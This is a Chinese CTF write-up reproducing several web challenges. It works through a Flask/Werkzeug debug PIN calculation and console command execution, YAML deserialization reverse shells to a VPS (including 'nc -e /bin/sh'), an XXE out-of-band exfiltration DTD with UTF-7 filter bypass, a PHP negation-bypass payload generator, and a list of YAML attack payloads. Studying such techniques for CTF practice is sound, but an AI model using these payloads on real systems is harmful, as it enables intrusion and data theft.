?ctf(复现

?ctf 好像什么都能读(复现

PIN码

Flask 的 debug 模式会提供一个强大的交互式调试器,这个调试器本质上可以在服务器上执行任意代码。

为了防止未授权用户滥用调试器,werkzeug 会生成一个 PIN 码。首次访问调试页面时,需要输入这个 PIN码才能解锁调试功能。

参考博客

新版flask pin码计算-先知社区

新版flask的pin码计算 - m1xian - 博客园

pin码主要由六个参数构成:

probably_public_bits 公钥部分

1.username:执行代码时的用户名,读/etc/passwd这个文件

2.appname:固定值,默认是 Flask

3.modname:固定值,默认是 flask.app

4.moddir: app.py 文件所在路径,一般可以通过查看debug报错信息获得

private_bits 私钥部分:

1.uuid:通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制

2.machine_id:首先读取 /etc/machine-id ,如果有值则不读取取/proc/sys/kernel/random/boot_id ,否则读取该文件。接着读取 /proc/self/cgroup ,取第一行的/ 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
'ctf', # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' # moddir,报错得到
]

# 私有信息部分
private_bits = [
'235821916857788', # /sys/class/net/eth0/address 十进制
'89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
# machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)

# 生成 pin 码
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

image-20251128152528992

1
/etc/passwd

image-20251128152636873

报错得到绝对位置,同时得到secret

image-20251128152715836

1
/sys/class/net/eth0/address

将得到的数字去掉冒号后化为十进制

1
/proc/sys/kernel/random/boot_id

得到machine-id

获取cookie:

1
2
3
4
5
6
7
8
GET /console?__debugger__=yes&cmd=pinauth&pin=699-028-928&s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: */*
Referer: http://challenge.ilovectf.cn:30100/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image-20251128152402999

接着构造执行指令:

1
2
3
4
5
6
7
8
9
10
11
GET /console?__debugger__=yes&cmd=__import__(%27os%27).popen(%27cat%20/fl*%27).read()&frm=0&s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: */*
Referer: http://challenge.ilovectf.cn:30100/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Length: 0
Connection: keep alive
Cookie: __wzd107814efcb0578d5dd6c=1764312795|27de6bf38216; HttpOnly; Path=/; SameSite=Strict

image-20251128152450133

?CTF复现 mysql管理工具

利用了老版本mysql的漏洞获取读取文件的权限

18.MYSQL任意文件读取 · Aaron 知识库

也有现成执行文件

https://github.com/allyshka/Rogue-MySql-Server(看文件就知道是老东西了

题解

先说这道题吧

image-20251129192837248

先是一个登录页面,听名字以为是sql注入,但是测试没有发现注入点,看源码发现是弱口令,藏在源码里

image-20251129193026146

image-20251129193146854

抓包看看,猜测是拟造cookie密钥

image-20251129193945608

这格式就很jwt

爆破一下key

image-20251129194157086

然后就可以拟写jwt了

image-20251129194310823

失败了,看了wp后才知道这道题要用到上面那个东西,伪造一个服务端,接收命令,不知道为什么,python脚本用不了,最后我是用项目中的linux版本运行的

image-20251129194543834

放到vps上,然后配置文件

image-20251129194823781

如图

host接收所有IP,开放3309端口,然后查看源码,需要配置的基本就这些

image-20251129195117672

可以看到已经读到源码了,cat一下

image-20251129195205486

源码审计……看不出什么,喂给ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/uneed1t', methods=['GET'])
def uneed1t():
data = request.args.get('data', '')
if data == '':
return jsonify({"result": "null"})
try:

black_list = [
"system", "popen", "run", "os"
]

for forb in black_list:
if forb in data:
return jsonify({"result":"error"})

yaml.load(data, Loader=yaml.Loader)

return jsonify({"result": "ok"})
except Exception as e:
return jsonify({"result":"error"})

ai说这一段存在yaml反序列化,但是有黑名单,采用在vps上弹shell的方式

#任意⽂件读的利⽤

1
!!python/object/apply:subprocess.Popen- ["sh","-c","cat /f* >1.txt"] 

#弹shell 可以起socket去打

1
!!python/object/apply:subprocess.Popen- ["python", "-c", "import  base64;base64exp='aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIml wIixwb3J0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ"' ';exp=base64.b64decode(base64exp).decode();exec(exp)"] 
1
!!python/object/apply:subprocess.call [['/bin/busybox','nc','vps的ip地 址','nc监听端⼝','-e','/bin/sh']] 

首先要在vps上安装nc,然后要确保你选择的端口开放了,就可以执行命令了

image-20251129202202408

关于yaml反序列化

1. 代码层面的识别标志

关键函数调用

python

1
2
3
4
5
6
7
# 危险的使用方式
yaml.load(data) # 默认使用不安全的 Loader
yaml.load(data, Loader=yaml.Loader) # 显式使用不安全的 Loader

# 安全的使用方式
yaml.safe_load(data) # 安全
yaml.load(data, Loader=yaml.SafeLoader) # 安全

用户输入直接传递给 yaml.load()

python

1
2
3
4
# 危险模式 - 用户可控输入直接反序列化
data = request.args.get('data') # 来自用户输入
data = request.json['data'] # 来自用户输入
yaml.load(data) # 直接反序列化

2. YAML 反序列化的特殊语法特征

Python 对象构造标记

yaml

1
2
3
4
5
6
7
8
9
10
# !!python/object 创建 Python 对象
!!python/object:os.system
!!python/object:subprocess.Popen

# !!python/object/apply 调用函数
!!python/object/apply:os.system
- "whoami"

# !!python/object/new 创建新实例
!!python/object/new:os.system

特殊标签前缀

yaml

1
2
3
4
!!python/object:module.classname    # Python 对象
!!python/name:module.function # Python 名称
!!python/module:package.module # Python 模块
!!python/attr:object.attribute # Python 属性

3. 攻击载荷的常见模式

命令执行载荷

yaml

1
2
3
4
5
6
7
8
9
10
11
# 直接系统命令
!!python/object/apply:os.system ["id"]

# 使用 subprocess
!!python/object/apply:subprocess.Popen
- ["cat", "/etc/passwd"]

# 链式调用
!!python/object/apply:__import__ ["os"]
args: ["system"]
- ["whoami"]

文件操作载荷

yaml

1
2
3
4
5
6
7
8
# 读取文件
!!python/object/apply:open
- ["/etc/passwd", "r"]

# 写入文件
!!python/object/apply:open
- ["/tmp/backdoor.py", "w"]
- ["__import__('os').system('nc -e /bin/sh attacker.com 4444')"]

4. 漏洞存在的上下文环境

危险的使用场景

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 场景1: 配置加载
config = yaml.load(user_provided_config)

# 场景2: 数据交换
data = yaml.load(request.data)

# 场景3: 缓存反序列化
cached_data = yaml.load(redis.get('user_data'))

# 场景4: API 参数处理
@app.route('/load')
def load_data():
data = request.args.get('yaml_data')
return yaml.load(data) # 危险!

5. 识别技巧总结

代码审计时关注:

  1. 导入语句: import yaml 或 from yaml import load
  2. 函数调用: 查找 yaml.load() 调用
  3. 参数来源: 检查参数是否来自用户输入
  4. Loader 类型: 确认是否使用不安全的 Loader

先粗略的了解一下,以后系统性的学习

查查忆(复现

看源码提示

1
<!--flag in /f1111llllaa44g-->

这是一道xml但是过滤了伪协议关键字与<!ENTITY,而且还无回显,无回显的话用vps外带,过滤用utf-7编码绕过

1.xml内容,这里我在1.dtd当前目录起了一个pyhton服务器,因为dtd必须要能公网访问到,然后vps监听5000端口

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % dtd SYSTEM "http://101.200.39.193/1.dtd">
%dtd;%code;%send;
]>

1.dtd的内容,使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器,(==1.dtd内部的%号要进行实体编码成&#x25==。这里卡我半天,因为wp这里错了)

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g">
<!ENTITY % code "<!ENTITY &#x25; send SYSTEM 'http://81.71.18.95:11111/%file;'>">

用cyberchef将xml文件编写一下,变成UTF-7进行绕过

image-20251205221636403

1
2
<?xml version="1.0" encoding="UTF-7"?>
+ADw-+ACE-DOCTYPE+ACA-a+ACA-+AFs-+AA0-+AAo-+ADw-+ACE-ENTITY+ACA-+ACU-+ACA-dtd+ACA-SYSTEM+ACA-+ACI-http://81.71.18.95/1.dtd+ACI-+AD4-+AA0-+AAo-+ACU-dtd+ADs-+ACU-code+ADs-+ACU-send+ADs-+AA0-+AAo-+AF0-+AD4-

image-20251205221358408

先起一个http接收端在1.dtd所在的目录

然后监听dtd文件中所用的执行端口(我这里是11111端口,这里需要保证接收端口和执行端口都开放

image-20251205221527337

然后就能获取到flag,解码一下就行了

ezphp(复现

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET['c1n_y0.u g3t+fl&g?'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
if(strlen($code)>14){
die("is tooooooooooooooooooo long!");
}
echo "Flag is in flag.php~~ (local).";
@eval($code);
?> Flag is in flag.php~~ (local).

第一步,不合法参数名,用[代替_,再url编码

1
?c1n[y0.u%20g3t%2Bfl%26g%3F

之后取反绕过,附上一个用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
import sys


def generate_negation_payload(input_str):
"""生成PHP取反Payload"""
negated_bytes = []
for char in input_str:
negated = (~ord(char)) & 0xFF
negated_bytes.append(negated)

urlencoded = ''.join(['%' + format(byte, '02X') for byte in negated_bytes])
param_payload = f'$_=~{urlencoded};`$_`;'

return urlencoded, param_payload


def main():
print("PHP取反Payload生成器 (Ctrl+C 或输入 exit 退出)")
print("-" * 50)

while True:
try:
# 获取输入
user_input = input("\n请输入需要取反的字符串 (例如: ls /): ").strip()

if not user_input:
continue

if user_input.lower() in ['exit', 'quit', 'q']:
print("退出程序")
break

# 生成结果
urlencoded, param_payload = generate_negation_payload(user_input)

# 输出
print(f"取反后的URL编码: {urlencoded}")
print(f"传参用Payload (浏览器自动解码):")
print(f"{param_payload}")

except KeyboardInterrupt:
print("\n\n程序已终止")
break
except Exception as e:
print(f"错误: {e}")


if __name__ == "__main__":
main()

image-20251205225518798

1
2
$_=~%C1%9C%9E%8B;`$_`;
$_=~%D5%DF%C1%C2;`$_`;

然后访问/=就可以获得日志

image-20251205225710321

Contents